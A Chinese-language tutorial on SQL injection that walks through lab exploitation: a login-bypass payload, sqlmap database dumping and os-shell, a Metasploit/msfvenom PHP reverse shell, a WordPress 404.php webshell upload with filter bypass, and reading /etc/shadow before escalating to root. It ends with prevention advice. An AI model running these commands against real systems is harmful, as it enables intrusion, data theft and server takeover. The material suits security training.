1 SQL注入漏洞利用及防范
1 SQL注入的地位
2 SQL注入的危害及本质
这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制:被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
3 本质
把用户输入的数据当作代码执行。
包含两个关键条件:
一:用户能够控制输入;二:原本程序要执行的代码,拼接了用户输入的数据。
4 SQL注入原理
5 SQL注入漏洞的方法
这是一个登陆页面
- Ø 点击“submit”之后,web应用会执行:
Ø 接收发送的POST请求
Ø 获取用户名和密码:(bart, simpson)
Ø 构建SQL语句:select * from users where username = ‘bart’ and password = ‘simpson’;
Ø 发送给数据库服务器来验证 - Ø 这个时候,我们可以对username进行变化
Ø 输入的用户名不是简单的bart,而是 bart’ and 1=1; –
Ø 这样整个语句变成如下:
Ø select * from users where username = ‘bart’ and 1=1; – ’ and password = ‘simpson’;
Ø 这个时候,–后面的都会变成注释,不用密码就能进行登陆。
6 SQL注入经常出没的地方
简言之:1. 用户一切可以输入(可控)的地方 。2.数据库一切可能导入、导出的东西。
7 SQL注入的分类
8 演练:SQL注入GET参数
8.1 信息探测
扫描主机服务信息以及服务版本
nmap -sV 靶场IP地址
快速扫描主机全部信息
nmap -T4 –A -v 靶场IP地址
探测敏感信息
nikto -host http://靶场IP地址:端口
dirb http://
8.2 深入挖掘
分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
8.3 漏洞扫描
web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
8.4 使用sqlmap利用SQL查看注入
8.5 漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用SQL注入漏洞
sqlmap -u url --dbs 查看数据库名
sqlmap -u url –D “数据库名” --tables 查看对应数据库中的数据表
sqlmap -u url –D “数据库名” –T “表名” --columns 查看对应字段
sqlmap -u url –D “数据库名” –T “表名”-C “列名” --dump 查看对应字段的值
也可以直接尝试 sqlmap –u url –os-shell 直接获取shell
8.6 上传shell反弹权限
攻击机启动监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php
上传shell执行shell
绕过过滤机制 利用 .php 修改为 .PHP
9 演练:POST注入
9.1 信息探测
扫描主机服务信息以及服务版本
nmap -sV 靶场IP地址
快速扫描主机全部信息
nmap -T4 –A -v 靶场IP地址
探测敏感信息
nikto -host http://靶场IP地址:端口
dirb http://靶场IP地址:端口
9.2 漏洞扫描
漏洞扫描器 Owasp-zap
功能强大,专注于web安全的漏洞扫描器。
9.3 漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但是扫描结果也不一定正确。
使用sqlmap利用SQL注入漏洞
sqlmap –r request.raw –level 5 –risk 3 –dbs –dbms mysql --batch
sqlmap –r request.raw –level 5 –risk 3 –D "数据库名" –tables 查看对应数据库中的数据表 --batch
sqlmap –r request.raw –level 5 –risk 3 –D "数据库名" –T "表名" –columns 查看对应字段 --batch
sqlmap –r request.raw –level 5 –risk 3 –D "数据库名" –T "表名"-C "列名" –dump --batch
9.4 上传webshell获取控制权
wordpress 后台寻找上传点
主题 的404.php 可以上传webshell
webshell 获取 /usr/share/webshells/php/
执行shell,获取反弹shell。
http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php
启动监听 – nc –nlvp port
启动终端 – python –c “import pty;pty.spawn(‘/bin/bash’)”
9.5 root权限
使用 cat /etc/shadow cat /etc/passwd 查看敏感文件
使用su - 提升 root权限
9.6 SQL注入的防范
防止SQL注入的根本措施是应该在程序中对用户的输入进行检测。总的来说有以下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双“-”进行转换等。
2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者Hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。